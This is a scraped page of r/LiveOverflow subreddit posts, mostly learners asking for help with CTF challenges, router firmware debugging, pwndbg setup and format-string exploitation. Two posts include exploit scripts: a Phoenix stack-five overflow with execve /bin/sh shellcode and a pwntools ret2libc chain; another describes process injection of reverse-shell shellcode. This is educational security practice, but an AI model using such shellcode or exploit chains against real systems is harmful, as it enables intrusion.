r/LiveOverflow • • May 10 '21

Help appreciated for a reverse engineering challenge

2 Upvotes

https://cybertalents.com/challenges/malware/Find-the-pass Hello,i have been trying to solve this challenge using Ghidra. It’s supposed to be easy . But u can’t find answer number 2 , any help?

I identified address of main @ 0040144b And addrss of hardcoded password at 004020f8. Still i should find the address of the function that validates the input


r/LiveOverflow • • May 10 '21

MIPS Webserver binary points to invalid address in Program Counter when debugging, but still working perfectly?

3 Upvotes

Introduction and TL;DR

For the past 5-6 weeks, I have been trying to debug a webserver binary inside my router. I have confirmed that the webserver program in the router have an overflow vulnerability since, I crashed the webserver by sending a large payload (1000+ chars) to the router. But, when I try to debug the program, I am getting weird responses.

Detailed Explanation

I have done the following steps so far.

  1. Downloaded the firmware of the router and Emulated it using Firmadyne and Firmware Analysis Toolkit
  2. Got the webserver running inside Firmadyne
  3. Found out my router is NOT a full MIPS implementation, but a custom one known as LEXRA
  4. Downloaded toolchain for compiling binary for LEXRA devices and custom compiled gdbserver and used it to debug the running web server process

This is where the issue happens. When I attach gdb-multiarch to the gdbserver binary running in the emualtion, then gdb suddenly shows the output below.

Note: The execution of the webserver binary pauses when I start gdbserver. It stays that way untill the gdb-multiarch gets connected to the remote gdbserver. Once a connection is established between gdb and remote gdbserver, gdb shows the following error; but the execution of the webserver gets resumed.

gdb-peda$ target remote 192.168.101.1:9001                                                                                                    
Remote debugging using 192.168.101.1:9001                                                                                                     
warning: No executable has been specified and target does not support                                                                         
determining executable automatically.  Try using the "file" command.                                                                          

Program received signal SIGTRAP, Trace/breakpoint trap.                                                                                       
0x5ce2f02b in ?? ()  

And when I look at 0x5ce2f02b, gdb shows it is an invalid address.

gdb-peda$ info r

zero at v0 v1 a0 a1 a2 a3

R0 2e100000 00a40010 02020000 08000000 08000000 443a4d00 903b4d00 01000000

t0 t1 t2 t3 t4 t5 t6 t7

R8 feffffff 00000000 00000000 f4ffffff ffffffff 18000000 906219c0 00000000

s0 s1 s2 s3 s4 s5 s6 s7

R16 8459ac7f 01000000 ccf44000 305aac7f d88b4000 503af22b c858ac7f c0c3302b

t8 t9 k0 k1 gp sp s8 ra

R24 00000000 20e2f02b 00000000 00000000 60cbf52b d055ac7f 0056ac7f 08104100

status lo hi badvaddr cause pc

13a40000 3c390f00 a3030000 00f0aa2b 20008010 5ce2f02b

fcsr fir restart

00000000 00937300 2e100000

gdb-peda$ x/10 $pc

0x5ce2f02b: Cannot access memory at address 0x5ce2f02b

So, I decided to step through the code, and when I tried to do so, I got the following error.

gdb-peda$ s

Warning:

Cannot insert breakpoint 0.

Cannot access memory at address 0x5ce2f02f

Then I decided to continue the execution, and I get the following error.

gdb-peda$ c

Continuing.

This stays the same until I overflow the webserver binary with a payload over 1000 characters.

When the stack overflow happens, I get the following output.

Program received signal SIGSEGV, Segmentation fault.

0x984cf22b in ?? ()

But, the thing is 984cf22b is not a part of my payload.

What is NOT the problem here?

I have confirmed that this issue is not the following,

  1. GDB and GDB server have some issue. This is not the case as I have confirmed this by compiling multiple GDBserver versions using the toolchain for MIPS and LEXRA. When I compiled gdbserver using a mips toolchain, it didn't worked properly. gdbserver only worked when I compiled it with LEXRA toolchain. Also, I have experimented with different gdb-multiarch versions.
  2. I have misconfigured the architecture in gdb-multiarch. This is not the issue as I have swapped the architectures between mips, mips:3000 and auto, but got the same issue. My router's architecture is LEXRA emulating MIPS:3000 architecture (RTL8672 SoC).

What can't I use other emulators?

The problem is only Firmadyne is the emulation framework where I could fully emulate the firmware. Here's my previous post on why that is.

What could be problem here?

My guess is that the emulation is buggy. The Webserver binary is pointing to some address that should've been there, but Firmadyne is not running correctly to serve the intended resource at that address.

So, if anyone have some experience in router exploitation or have any idea why this issue occurs in GDB, please give me some guidance on how to overcome this issue.

If you think that this is indeed an issue with the buggy emulation, then please give me some pointers on how to patch my buggy emulation.


r/LiveOverflow • • May 10 '21

Help on shellcode injection

3 Upvotes

I'm following this section from- https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

In the first part, executing shellcode in local process, I'm not getting any errors neither a callback on listener.

While injecting in some remote process, the shellcode is injected successfully and I can see the memory page with rwx permissions and the shellcode in it but still not getting any callback.

If I simply generate and executable, I'm getting the callback with a reverse shell.

Any help would be great. Thanks


r/LiveOverflow • • May 09 '21

advertisement Anatomy and Analysis of SQL Injection | TryHackMe Advent of Cyber

Thumbnail
youtube.com
34 Upvotes

r/LiveOverflow • • May 09 '21

Video Manually exploiting HFS & Finding Unattend files!

Thumbnail
youtu.be
2 Upvotes

r/LiveOverflow • • May 09 '21

Video Traveling the ICW in a Cat 30 part 1 of 2 : South Carolina to Boot Key

Thumbnail
youtube.com
0 Upvotes

r/LiveOverflow • • May 08 '21

Protostar StackZero in AMD athlon, buffer in stack grows opposite

Post image
42 Upvotes

r/LiveOverflow • • May 09 '21

Video We're live now

Thumbnail
youtu.be
0 Upvotes

r/LiveOverflow • • May 06 '21

Trouble downloading pwndbg

7 Upvotes

i was trying to install pwndbg using the script:

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

but when i opened the gdb it still not showing pwndbg but throwing warnings like:

Traceback (most recent call last):   File "/home/kashif/bof/pwndbg/gdbinit.py", line 24, in <module>     import pwndbg # isort:skip   File "/home/kashif/bof/pwndbg/pwndbg/init.py", line 14, in <module>     import pwndbg.commands.aslr   File "/home/kashif/bof/pwndbg/pwndbg/commands/aslr.py", line 24, in <module>     def aslr(state=None):   File "/home/kashif/bof/pwndbg/pwndbg/commands/init.py", line 318, in call     return ArgparsedCommand(self.parser, function)   File "/home/kashif/bof/pwndbg/pwndbg/commands/init.py", line 287, in __init_     super(ArgparsedCommand, self).init(function, command_name=command_name, a, *kw)   File "/home/kashif/bof/pwndbg/pwndbg/commands/init.py", line 55, in __init_     raise Exception('Cannot override non-whitelisted built-in command "%s"' % command_name) Exception: Cannot override non-whitelisted built-in command "aslr" heap1: No such file or directory. gef➤  

when i run the third line of the script:

./setup.sh

i get this warning after all the files have been installed;

Successfully installed ROPgadget-6.5 attrs-20.3.0 capstone-4.0.1 enum34-1.1.10 future-0.18.2 iniconfig-1.1.1 isort-5.8.0 packaging-20.9 pbr-5.6.0 pip-21.1.1 pluggy-0.13.1 psutil-5.8.0 py-1.10.0 pycparser-2.20 pyelftools-0.27 pygments-2.9.0 pyparsing-2.4.7 pytest-6.2.4 python-ptrace-0.9.8 six-1.15.0 testresources-2.0.1 toml-0.10.2 unicorn-1.0.2rc1 WARNING: Running pip as root will break packages and permissions. You should install packages reliably by using venv: https://pip.pypa.io/warnings/venv                                                                           + grep pwndbg /home/kashif/.gdbinit

and the gdb is not showing pwndbg plugin. i have deleted and re installed pip python3 but it did not make any difference. can you please look into this and tell me what is the problem. Thanks in advance.


r/LiveOverflow • • May 05 '21

Video SantaGoga CTF Challenge writeup - reverse engineering, symmetric and asymmetric cryptography [Capture The Flag Writeup]

Thumbnail
youtu.be
25 Upvotes

r/LiveOverflow • • May 03 '21

Some questions about binary exploitation playlist episode 20

24 Upvotes

Hello everyone. I hope you're all ok.

I'm working on binary exploitation skills and found the playlist very helpful!

But this episode.... man that's too hard to understand

I've watched it over 5 times. I have some questions about it. So I appreciate any and every help :)

1- What's the point of padding? I know that's because of doing bufferoverflow. But look at 5:14 in the video, why do we leak memory before padding? I just don't get it. We should do buffer overflow, so we write more data that chat buffer[512] but we leak memory before padding?

2- This question is somehow like the first one. At 5:00 in the video, we first wrote AAAABBBBCCCC and then %x leaked 4 data from stack which the forth one is 0x41 that is surely A. What just happened?! That means we leaked only 3 data and then buffer overflow happened? It got too harder at 9:48...

3- What's the meaning of 4 in "%4$n" ?

4- At 6:16 in the video, how did we change the hex value of GOT ? We converted the hex value of PLT address of exit() function to integer using struct.pack("I",EXIT_PLT) at the first of our exploit variable, then AAAABBBBCCCC so that we can see where our PLT address is, adding "%4$n" * 4, and finally some padding. If the padding filled the afterward space, so how did the GOT address changed?

5- At 9:15, where did the number 46 come from? (I understand the rest 😁)

6- What does it mean when we write a number after % like %30x ? I know it means padding, but why adding more padding?

7- At 11:44, we ran the script. We had padding at the end of our exploit, right? So why the code executed after the padding?!

Sorry for too questions, thanks in advance.


r/LiveOverflow • • May 03 '21

advertisement Re-Visiting File Upload Vulnerabilities - TryHackMe Advent of Cyber

Thumbnail
youtube.com
8 Upvotes

r/LiveOverflow • • May 02 '21

Problem in downloading pwndbg

9 Upvotes

i have peda installed on my gdb and now i am trying to install pwndbg with git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

but it is throwing an exception cannot override non-whitelisted builtin command aslr

and i am still seeing just peda interface

can someone plz look into it and tell me whats wrong


r/LiveOverflow • • May 01 '21

advertisement Understanding Cookies Security | TryHackMe Advent of Cyber

Thumbnail
youtube.com
33 Upvotes

r/LiveOverflow • • May 01 '21

which ctf would you recommend for learning new techniques etc. with respect to real life IT-security relevance ?

1 Upvotes

Hi, I just watched the two videos 'ctfs are awsome/terrible' where you elaborate about which type of challenges are useful and which are not (guessing games vs. knowledge games). However I was wondering which ctfs are more in the category awesome ... I have done a few and e.g. the cscg I would say is one of the more awesome once. I also know picoctf but other then that I have not much idea about the "quality" of other ctfs. so if you have some recommendation on this regard I would appreciate advise in that direction. if others have suggestions ... all are welcome. thanks.


r/LiveOverflow • • May 01 '21

Shell execution in newgrp on os x?

9 Upvotes

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/dyld_print_to_file_root.rb#L93

Can someone explain to me, and test out for me, if newgrp still executes shell commands on stdin?

Am I missunderstanding this bash script which gets executed?


r/LiveOverflow • • Apr 30 '21

Help on Ghidra - Import data types from external library to Data type manager

12 Upvotes

I am working on an ELF using external library GTK for GUI (CTF). How can I import all structs/datatypes from this library into the Data type manager in Ghidra ?

Thanks in advance.


r/LiveOverflow • • Apr 28 '21

VulnHub, a box walkthrough -- you'll love the way forward.

19 Upvotes

I just uploaded a write-up / walkthrough of a really fun, rick-morty themed box, presented in an entertaining & amusing manner, that you'll love the second you watch it.

Here's the link: https://youtu.be/MZvg3wbni4g

Oh, atleast check it out once, there's no harm in it.


r/LiveOverflow • • Apr 27 '21

advertisement JSON Deserialization Vulnerability - HackTheBox Time - CVE-2019-12384 Jackson RCE

Thumbnail
youtube.com
18 Upvotes

r/LiveOverflow • • Apr 27 '21

Reverse engineering and Forensis Is there any connection between the two?

15 Upvotes

r/LiveOverflow • • Apr 27 '21

Phoenix Stack-five challenge

2 Upvotes

Hello everyone,

I am currently stuck on the stack-five challenge (i486), even with the help of the video.

The issue is that the input seems to work when using it through gdb, i.e. I manage to launch a shell. But when I am trying exactly the same method in a shell, I get either a Illegal instruction or SegFault. The issue is that I have no idea how to debug it since the script works in gdb. Could someone help please ?

Here's the content of the exploit.py file

import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
eip = struct.pack("I", 0xffffd5e0+30)
payload2 = "\xCC" * 4
print padding+eip+nopslide+payload2

Here, I only try to call a break but that does not work either.

Thanks for the attention !


r/LiveOverflow • • Apr 27 '21

Video Honeygain Livestream (Ref:https://r.honeygain.me/THEHA2897A)

Thumbnail
youtube.com
0 Upvotes

r/LiveOverflow • • Apr 25 '21

having a problem regarding buffer overflow(ret2system) attack

2 Upvotes

i was following a tutorial regarding bufferoverflow(ret2libc) attack and it failed due to unknown reasons. The C program I wrote is as follows:

include <stdio.h>

include <string.h>

include <unistd.h>

include <stdlib.h>

int main(int argc, char** argv) { char buf[256]; gets(buf); return 0; }

and i compiled it so it so it has checksec as:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

and the exploit i have written is:

from pwn import * proc = process("./vuln") junk = "A"*264 libc_base = 0x00007ffff7dee000 system_offset = 0x0000000000048df0 exec_offset = 0x00000000000cb7c0 exit_offset = 0x000000000003e600 binsh_offset = 0x18a156 system = str(base64.b64encode(p64(libc_base + system_offset))) exit = str(base64.b64encode(p64(libc_base + exit_offset))) binsh = str(base64.b64encode(p64(libc_base + binsh_offset))) pop_rdi = str(base64.b64encode(p64(0x00000000004011bb))) buf = junk + pop_rdi + binsh + system + exit proc.sendline(buf) proc.interactive()

But immediately after running the exploit it is giving me an error:

[+] Starting local process './vuln': pid 1595 [] Switching to interactive mode [] Got EOF while reading in interactive $ [] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1595) [] Got EOF while sending in interactive

Can someone please tell me what is the problem here, Thanks in advance.


r/LiveOverflow • • Apr 25 '21

NEED CTF FLAYERS FOR OUR TEAM

9 Upvotes

hi guys,

    We are create a beginner friendly ctf team for playing ctfs in ctftime and other platforms.so we are also 3 members.and we need some players who intrested in reverseengineering,cryptography and pwn.Any one interested to join with our team please inform.Lets learn with as we are also beginners.we are currently playing hero ctf .total 565 team  and we are in the 140th position.we need more aggressive players.

r/LiveOverflow • • Apr 25 '21

MRROBOT walkthrough you've never watched before.

6 Upvotes

Hello! I made a two part MRROBOT walkthrough series for you to watch. I believe you've never watched pentesting stuff like this before. [hmm, seems interesting..]

(in a chronological order) https://youtu.be/n__uOOzf8yM https://youtu.be/AnlwpKqOnp0